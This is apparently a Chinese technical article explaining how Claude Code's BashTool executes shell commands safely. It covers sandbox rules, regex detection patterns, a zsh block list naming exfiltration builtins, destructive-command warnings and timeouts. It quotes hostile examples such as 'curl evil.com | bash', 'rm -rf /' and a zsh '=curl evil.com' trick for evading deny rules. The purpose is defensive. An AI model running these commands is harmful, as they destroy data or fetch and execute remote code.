BashTool:让 AI 安全执行 Shell 命令

深入 BashTool 的安全执行架构——沙箱机制、命令分类、超时管理、AbortSignal 集成、后台执行

问题引入

让 AI 执行 Shell 命令是一种极端危险的能力。一条 rm -rf / 就能摧毁整个系统;一条 curl evil.com | bash 就能执行任意远程代码;甚至看似无害的 cat /dev/random 都能让进程挂起。

然而,Shell 命令又是 AI 编码助手不可或缺的能力。运行测试、安装依赖、执行构建、Git 操作——这些都需要 Shell 访问。Claude Code 的 BashTool 必须在"足够强大"和"足够安全"之间找到平衡点。

BashTool 是 Claude Code 中最复杂的单个工具,其源码跨越多个文件、数千行代码。本文将深入它的安全执行架构——从沙箱机制到命令分类,从超时管理到后台执行。


BashTool 的输入模型

src/tools/BashTool/BashTool.tsx:227-259
TypeScript
227const fullInputSchema = lazySchema(() => z.strictObject({
228 command: z.string().describe('The command to execute'),
229 timeout: semanticNumber(z.number().optional()).describe(
230 `Optional timeout in milliseconds (max ${getMaxTimeoutMs()})`
231 ),
232 description: z.string().optional().describe(
233 'Clear, concise description of what this command does in active voice...'
234 ),
235 run_in_background: semanticBoolean(z.boolean().optional()).describe(
236 'Set to true to run this command in the background...'
237 ),
238 dangerouslyDisableSandbox: semanticBoolean(z.boolean().optional()).describe(
239 'Set this to true to dangerously override sandbox mode...'
240 ),
241 _simulatedSedEdit: z.object({
242 filePath: z.string(),
243 newContent: z.string()
244 }).optional().describe('Internal: pre-computed sed edit result from preview')
245}));
246
247// Always omit _simulatedSedEdit from the model-facing schema
248const inputSchema = lazySchema(() => isBackgroundTasksDisabled
249 ? fullInputSchema().omit({ run_in_background: true, _simulatedSedEdit: true })
250 : fullInputSchema().omit({ _simulatedSedEdit: true })
251);

六个字段中,_simulatedSedEdit 是一个内部字段,永远不会暴露给模型。它用于 sed 编辑预览:当用户在权限对话框中批准了一个 sed 命令的预览结果后,系统将预计算的新文件内容直接写入,而不是重新执行 sed。这避免了"预览看到的"和"实际执行的"不一致的问题。

semanticNumbersemanticBoolean 是 Claude Code 特有的 Zod 类型——它们在 Schema 层面接受字符串形式的数字/布尔值(如 "true""120000"),处理 AI 偶尔将参数作为字符串发送的情况。


命令分类体系

BashTool 将 Shell 命令分为多个语义类别,用于 UI 展示和行为判断:

...
src/tools/BashTool/BashTool.tsx:60-81
TypeScript
60const BASH_SEARCH_COMMANDS = new Set([
61 'find', 'grep', 'rg', 'ag', 'ack', 'locate', 'which', 'whereis'
62]);
63
64const BASH_READ_COMMANDS = new Set([
65 'cat', 'head', 'tail', 'less', 'more',
66 'wc', 'stat', 'file', 'strings',
67 'jq', 'awk', 'cut', 'sort', 'uniq', 'tr'
68]);
69
70const BASH_LIST_COMMANDS = new Set(['ls', 'tree', 'du']);
71
72const BASH_SEMANTIC_NEUTRAL_COMMANDS = new Set([
73 'echo', 'printf', 'true', 'false', ':'
74]);
75
76const BASH_SILENT_COMMANDS = new Set([
77 'mv', 'cp', 'rm', 'mkdir', 'rmdir', 'chmod', 'chown',
78 'chgrp', 'touch', 'ln', 'cd', 'export', 'unset', 'wait'
79]);

管道和复合命令的分类

分类逻辑不是简单地检查第一个命令。对于管道(cat file | grep pattern),所有部分必须都是搜索/读取命令,整个命令才被视为搜索/读取:

src/tools/BashTool/BashTool.tsx:94-172
TypeScript
94export function isSearchOrReadBashCommand(command: string): {
95 isSearch: boolean;
96 isRead: boolean;
97 isList: boolean;
98} {
99 let partsWithOperators: string[];
100 try {
101 partsWithOperators = splitCommandWithOperators(command);
102 } catch {
103 return { isSearch: false, isRead: false, isList: false };
104 }
105
106 // ... 遍历所有部分
107
108 // Semantic-neutral commands (echo, printf, true, false, :) are skipped
109 // in any position, as they're pure output/status commands that don't
110 // affect the read/search nature of the pipeline
111 // e.g. `ls dir && echo "---" && ls dir2` is still a read

echoprintf 被标记为"语义中性"——它们在管道中不改变整体命令的读/写性质。ls dir && echo "---" && ls dir2 仍然被视为列目录命令,因为 echo 不影响语义。

命令语义解释

不同命令的退出码有不同含义。grep 返回 1 表示"没找到匹配"而非错误;diff 返回 1 表示"文件有差异"。BashTool 通过语义映射表正确解释这些情况:

src/tools/BashTool/commandSemantics.ts:31-89
TypeScript
31const COMMAND_SEMANTICS: Map<string, CommandSemantic> = new Map([
32 // grep: 0=matches found, 1=no matches, 2+=error
33 ['grep', (exitCode) => ({
34 isError: exitCode >= 2,
35 message: exitCode === 1 ? 'No matches found' : undefined,
36 })],
37
38 // ripgrep has same semantics as grep
39 ['rg', (exitCode) => ({
40 isError: exitCode >= 2,
41 message: exitCode === 1 ? 'No matches found' : undefined,
42 })],
43
44 // diff: 0=no differences, 1=differences found, 2+=error
45 ['diff', (exitCode) => ({
46 isError: exitCode >= 2,
47 message: exitCode === 1 ? 'Files differ' : undefined,
48 })],
49
50 // test/[: 0=condition true, 1=condition false, 2+=error
51 ['test', (exitCode) => ({
52 isError: exitCode >= 2,
53 message: exitCode === 1 ? 'Condition is false' : undefined,
54 })],
55])

沙箱机制

BashTool 的沙箱是一个可选但推荐的安全层,控制命令可以访问哪些文件和网络主机。

沙箱决策流程

src/tools/BashTool/shouldUseSandbox.ts:130-153
TypeScript
130export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
131 if (!SandboxManager.isSandboxingEnabled()) {
132 return false
133 }
134
135 // Don't sandbox if explicitly overridden AND unsandboxed commands are allowed
136 if (
137 input.dangerouslyDisableSandbox &&
138 SandboxManager.areUnsandboxedCommandsAllowed()
139 ) {
140 return false
141 }
142
143 if (!input.command) {
144 return false
145 }
146
147 // Don't sandbox if the command contains user-configured excluded commands
148 if (containsExcludedCommand(input.command)) {
149 return false
150 }
151
152 return true
153}

四个条件可以跳过沙箱:

  1. 沙箱全局未启用
  2. dangerouslyDisableSandbox: true 且策略允许无沙箱命令
  3. 没有命令(空调用)
  4. 命令匹配用户配置的排除列表

排除命令的匹配

排除列表支持与权限规则相同的模式语法:

src/tools/BashTool/shouldUseSandbox.ts:71-127
TypeScript
71 for (const subcommand of subcommands) {
72 const trimmed = subcommand.trim()
73 // Also try matching with env var prefixes and wrapper commands stripped
74 // e.g. `FOO=bar bazel ...` and `timeout 30 bazel ...` match `bazel:*`
75 const candidates = [trimmed]
76 const seen = new Set(candidates)
77 let startIdx = 0
78 while (startIdx < candidates.length) {
79 const endIdx = candidates.length
80 for (let i = startIdx; i < endIdx; i++) {
81 const cmd = candidates[i]!
82 const envStripped = stripAllLeadingEnvVars(cmd, BINARY_HIJACK_VARS)
83 if (!seen.has(envStripped)) {
84 candidates.push(envStripped)
85 seen.add(envStripped)
86 }
87 const wrapperStripped = stripSafeWrappers(cmd)
88 if (!seen.has(wrapperStripped)) {
89 candidates.push(wrapperStripped)
90 seen.add(wrapperStripped)
91 }
92 }
93 startIdx = endIdx
94 }
95 // ... match each candidate against excluded patterns
96 }

这里使用了不动点迭代(fixed-point iteration)来处理环境变量和 wrapper 命令的交错:timeout 300 FOO=bar bazel run 需要先剥离 timeout 300,再剥离 FOO=bar,最后匹配 bazel。单次遍历无法处理这种交错。

沙箱 Prompt 注入

当沙箱启用时,BashTool 的 prompt 会动态注入沙箱限制信息:

src/tools/BashTool/prompt.ts:172-273
TypeScript
172function getSimpleSandboxSection(): string {
173 if (!SandboxManager.isSandboxingEnabled()) {
174 return ''
175 }
176
177 const fsReadConfig = SandboxManager.getFsReadConfig()
178 const fsWriteConfig = SandboxManager.getFsWriteConfig()
179 const networkRestrictionConfig = SandboxManager.getNetworkRestrictionConfig()
180
181 const filesystemConfig = {
182 read: {
183 denyOnly: dedup(fsReadConfig.denyOnly),
184 },
185 write: {
186 allowOnly: normalizeAllowOnly(fsWriteConfig.allowOnly),
187 denyWithinAllow: dedup(fsWriteConfig.denyWithinAllow),
188 },
189 }
190 // ... 将配置序列化注入 prompt
191}

注意 dedup 函数的使用:SandboxManager 从多个来源(settings 层、默认值、CLI 标志)合并配置时可能产生重复路径。去重后注入 prompt 可以节省约 150-200 个 token。


安全检查:bashSecurity.ts

BashTool 的安全检查是一个多层防御系统,位于 bashSecurity.ts 中。

命令替换检测

src/tools/BashTool/bashSecurity.ts:16-41
TypeScript
16const COMMAND_SUBSTITUTION_PATTERNS = [
17 { pattern: /<\(/, message: 'process substitution <()' },
18 { pattern: />\(/, message: 'process substitution >()' },
19 { pattern: /=\(/, message: 'Zsh process substitution =()' },
20 { pattern: /(?:^|[\s;&|])=[a-zA-Z_]/, message: 'Zsh equals expansion (=cmd)' },
21 { pattern: /\$\(/, message: '$() command substitution' },
22 { pattern: /\$\{/, message: '${} parameter substitution' },
23 { pattern: /\$\[/, message: '$[] legacy arithmetic expansion' },
24 { pattern: /~\[/, message: 'Zsh-style parameter expansion' },
25 { pattern: /\(e:/, message: 'Zsh-style glob qualifiers' },
26 { pattern: /\(\+/, message: 'Zsh glob qualifier with command execution' },
27 { pattern: /\}\s*always\s*\{/, message: 'Zsh always block (try/always construct)' },
28 { pattern: /<#/, message: 'PowerShell comment syntax' },
29]

这些模式检测各种形式的命令替换——攻击者可能通过 $(malicious_command) 或 Zsh 的 =cmd 扩展来注入恶意命令。注意 Zsh 的 =curl evil.com 会被扩展为 /usr/bin/curl evil.com,绕过基于命令名的 deny 规则。

Zsh 危险命令

src/tools/BashTool/bashSecurity.ts:43-74
TypeScript
43const ZSH_DANGEROUS_COMMANDS = new Set([
44 'zmodload', // Gateway to many dangerous module-based attacks
45 'emulate', // emulate with -c flag is an eval-equivalent
46 'sysopen', // Opens files with fine-grained control (zsh/system)
47 'sysread', // Reads from file descriptors
48 'syswrite', // Writes to file descriptors
49 'zpty', // Executes commands on pseudo-terminals
50 'ztcp', // Creates TCP connections for exfiltration
51 'zsocket', // Creates Unix/TCP sockets
52 'zf_rm', // Builtin rm from zsh/files
53 'zf_mv', // Builtin mv from zsh/files
54 // ... more zsh builtins
55])

zmodload 是最危险的——它可以加载 zsh/system(绕过文件权限检查)、zsh/zpty(伪终端执行)、zsh/net/tcp(网络外泄)等模块。Claude Code 将这些命令作为防御纵深阻断。

安全检查标识符

src/tools/BashTool/bashSecurity.ts:77-101
TypeScript
77const BASH_SECURITY_CHECK_IDS = {
78 INCOMPLETE_COMMANDS: 1,
79 JQ_SYSTEM_FUNCTION: 2,
80 JQ_FILE_ARGUMENTS: 3,
81 OBFUSCATED_FLAGS: 4,
82 SHELL_METACHARACTERS: 5,
83 DANGEROUS_VARIABLES: 6,
84 NEWLINES: 7,
85 DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION: 8,
86 DANGEROUS_PATTERNS_INPUT_REDIRECTION: 9,
87 DANGEROUS_PATTERNS_OUTPUT_REDIRECTION: 10,
88 IFS_INJECTION: 11,
89 GIT_COMMIT_SUBSTITUTION: 12,
90 PROC_ENVIRON_ACCESS: 13,
91 MALFORMED_TOKEN_INJECTION: 14,
92 BACKSLASH_ESCAPED_WHITESPACE: 15,
93 BRACE_EXPANSION: 16,
94 CONTROL_CHARACTERS: 17,
95 UNICODE_WHITESPACE: 18,
96 MID_WORD_HASH: 19,
97 ZSH_DANGEROUS_COMMANDS: 20,
98 BACKSLASH_ESCAPED_OPERATORS: 21,
99 COMMENT_QUOTE_DESYNC: 22,
100 QUOTED_NEWLINE: 23,
101} as const

23 种安全检查,每种都有数字 ID(避免在日志中记录字符串),覆盖了从 IFS 注入到 Unicode 空白字符攻击的广泛威胁面。


破坏性命令警告

src/tools/BashTool/destructiveCommandWarning.ts:12-89
TypeScript
12const DESTRUCTIVE_PATTERNS: DestructivePattern[] = [
13 // Git — data loss / hard to reverse
14 { pattern: /\bgit\s+reset\s+--hard\b/,
15 warning: 'Note: may discard uncommitted changes' },
16 { pattern: /\bgit\s+push\b[^;&|\n]*[ \t](--force|--force-with-lease|-f)\b/,
17 warning: 'Note: may overwrite remote history' },
18 { pattern: /\bgit\s+clean\b(?![^;&|\n]*(?:-[a-zA-Z]*n|--dry-run))[^;&|\n]*-[a-zA-Z]*f/,
19 warning: 'Note: may permanently delete untracked files' },
20
21 // File deletion
22 { pattern: /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*[rR][a-zA-Z]*f/,
23 warning: 'Note: may recursively force-remove files' },
24
25 // Database
26 { pattern: /\b(DROP|TRUNCATE)\s+(TABLE|DATABASE|SCHEMA)\b/i,
27 warning: 'Note: may drop or truncate database objects' },
28
29 // Infrastructure
30 { pattern: /\bkubectl\s+delete\b/,
31 warning: 'Note: may delete Kubernetes resources' },
32 { pattern: /\bterraform\s+destroy\b/,
33 warning: 'Note: may destroy Terraform infrastructure' },
34]

这些警告是纯信息性的——不影响权限逻辑或自动批准。它们在权限对话框中显示,帮助用户做出知情决策。注意 git clean 的正则排除了 --dry-run-n 标志——干运行不是破坏性的。


超时管理

BashTool 有三层超时控制:

src/tools/BashTool/prompt.ts:27-33
TypeScript
27export function getDefaultTimeoutMs(): number {
28 return getDefaultBashTimeoutMs()
29}
30
31export function getMaxTimeoutMs(): number {
32 return getMaxBashTimeoutMs()
33}
  1. 默认超时 — 通常为 120 秒(2 分钟),适合大多数命令
  2. 最大超时 — 通常为 600 秒(10 分钟),AI 可以通过 timeout 参数请求更长时间
  3. 后台执行 — 长时间命令可以通过 run_in_background: true 转入后台

后台执行

src/tools/BashTool/BashTool.tsx:52-57
TypeScript
52const PROGRESS_THRESHOLD_MS = 2000; // Show progress after 2 seconds
53const ASSISTANT_BLOCKING_BUDGET_MS = 15_000;

在 Assistant 模式下,阻塞命令在 15 秒后会被自动后台化。这防止了长时间运行的构建或测试阻塞整个交互循环。

后台任务有专门的生命周期管理:

sequenceDiagram
    participant AI as Claude
    participant Bash as BashTool
    participant Task as LocalShellTask
    participant User as 用户

    AI->>Bash: run_in_background: true
    Bash->>Task: spawnShellTask(command)
    Task-->>Bash: taskId
    Bash-->>AI: backgroundTaskId: "task-123"

    Note over Task: 命令在后台执行...

    Task-->>User: 系统通知: 命令完成

    AI->>Bash: Read task output
    Bash-->>AI: stdout + stderr

不允许自动后台化的命令有一个黑名单——sleep 命令就在其中,因为它通常是等待的前奏,不应该被后台化。

进度显示

src/tools/BashTool/BashTool.tsx:54
TypeScript
54const PROGRESS_THRESHOLD_MS = 2000; // Show progress after 2 seconds

命令运行超过 2 秒后开始显示进度。这避免了对快速命令的不必要 UI 噪音,同时让用户知道长时间命令仍在运行。


权限系统交互

BashTool 的权限检查是所有工具中最复杂的,位于 bashPermissions.ts

子命令拆分

src/tools/BashTool/bashPermissions.ts:96-103
TypeScript
96export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
97export const MAX_SUGGESTED_RULES_FOR_COMPOUND = 5

复合命令(如 mkdir -p src && touch src/index.ts && npm init)会被拆分为子命令,每个子命令独立进行权限检查。但有上限——50 个子命令。超过这个数量,系统无法证明命令安全,直接回退到 ask(请求用户确认)。

这个限制的原因在源码中有解释:splitCommand_DEPRECATED 在复杂复合命令上可能产生指数级增长的子命令数组,每个子命令都要经过 tree-sitter 解析和约 20 个验证器,导致事件循环饥饿。

基于 Classifier 的权限

Claude Code 支持基于 AI 分类器的权限判断——使用模型来理解命令的意图,而不仅仅是模式匹配。这个系统在 bashPermissions.ts 中通过 classifyBashCommand 实现,在内部版本中记录评估结果用于分析。


Prompt 工程:引导 AI 使用正确的工具

BashTool 的 prompt 不仅描述了工具本身,还明确引导 AI 优先使用专用工具:

src/tools/BashTool/prompt.ts:280-291
TypeScript
280const toolPreferenceItems = [
281 `File search: Use ${GLOB_TOOL_NAME} (NOT find or ls)`,
282 `Content search: Use ${GREP_TOOL_NAME} (NOT grep or rg)`,
283 `Read files: Use ${FILE_READ_TOOL_NAME} (NOT cat/head/tail)`,
284 `Edit files: Use ${FILE_EDIT_TOOL_NAME} (NOT sed/awk)`,
285 `Write files: Use ${FILE_WRITE_TOOL_NAME} (NOT echo >/cat <<EOF)`,
286 'Communication: Output text directly (NOT echo/printf)',
287]

这种"NOT X"的明确否定比"prefer Y"更有效——它直接告诉 AI 不要做什么,减少了歧义。

Git 安全协议

Prompt 中包含详细的 Git 安全协议:

src/tools/BashTool/prompt.ts:82-93
TypeScript
82// Git Safety Protocol:
83// - NEVER update the git config
84// - NEVER run destructive git commands (push --force, reset --hard, ...)
85// unless the user explicitly requests
86// - NEVER skip hooks (--no-verify, --no-gpg-sign, etc)
87// - NEVER run force push to main/master
88// - CRITICAL: Always create NEW commits rather than amending
89// - When staging files, prefer adding specific files by name
90// rather than "git add -A" or "git add ."
91// - NEVER commit changes unless the user explicitly asks

这些规则不是建议——它们是硬约束。"CRITICAL" 标记的规则(总是创建新 commit 而非 amend)解决了一个真实的数据丢失风险:当 pre-commit hook 失败时,commit 并未发生,此时 --amend 会修改上一个 commit。


睡眠检测

一个有趣的防护措施——阻止 AI 使用 sleep 进行轮询:

src/tools/BashTool/BashTool.tsx:322-337
TypeScript
322export function detectBlockedSleepPattern(command: string): string | null {
323 const parts = splitCommand_DEPRECATED(command);
324 if (parts.length === 0) return null;
325 const first = parts[0]?.trim() ?? '';
326 const m = /^sleep\s+(\d+)\s*$/.exec(first);
327 if (!m) return null;
328 const secs = parseInt(m[1]!, 10);
329 if (secs < 2) return null; // sub-2s sleeps are fine (rate limiting, pacing)
330
331 const rest = parts.slice(1).join(' ').trim();
332 return rest
333 ? `sleep ${secs} followed by: ${rest}`
334 : `standalone sleep ${secs}`;
335}

2 秒以下的 sleep 被允许(用于速率限制),但更长的 sleep 会被阻止或警告。当检测到 sleep 5 && check_status 这样的模式时,系统会建议使用 run_in_background 或 Monitor 工具替代。


Sed 编辑预览

BashTool 对 sed 命令有特殊处理——它可以在权限对话框中显示编辑预览:

src/tools/BashTool/BashTool.tsx:360-399
TypeScript
360async function applySedEdit(
361 simulatedEdit: { filePath: string; newContent: string },
362 toolUseContext: SimulatedSedEditContext,
363 parentMessage?: AssistantMessage
364): Promise<SimulatedSedEditResult> {
365 const { filePath, newContent } = simulatedEdit;
366 const absoluteFilePath = expandPath(filePath);
367
368 // Read original content for VS Code notification
369 let originalContent: string;
370 try {
371 originalContent = await fs.readFile(absoluteFilePath, { encoding });
372 } catch (e) { /* handle ENOENT */ }
373
374 // Track file history before making changes (for undo support)
375 if (fileHistoryEnabled() && parentMessage) {
376 await fileHistoryTrackEdit(
377 toolUseContext.updateFileHistoryState,
378 absoluteFilePath,
379 parentMessage.uuid
380 );
381 }
382
383 // Detect line endings and write new content
384 const endings = detectLineEndings(absoluteFilePath);
385 writeTextContent(absoluteFilePath, newContent, encoding, endings);

这确保了用户在权限对话框中看到的 diff 和实际写入的内容完全一致——不会因为 sed 的执行环境差异导致不同的结果。


设计启示

BashTool 的设计体现了几个关键原则:

  1. 纵深防御 — 沙箱、权限检查、安全模式验证、破坏性命令警告——每一层都可能失败,但所有层一起提供了健壮的保护

  2. 语义理解 — 命令分类、退出码解释、静默命令识别——系统不仅仅执行命令,还理解命令的语义

  3. 渐进策略 — 默认使用沙箱,允许有条件绕过。默认超时 2 分钟,允许延长到 10 分钟。默认前台执行,支持后台化。每个约束都有逃生舱口

  4. 复杂度预算 — 子命令数量上限、安全检查的数字 ID、去重后的沙箱路径——在复杂性不可避免时,系统设定了明确的复杂度预算来防止失控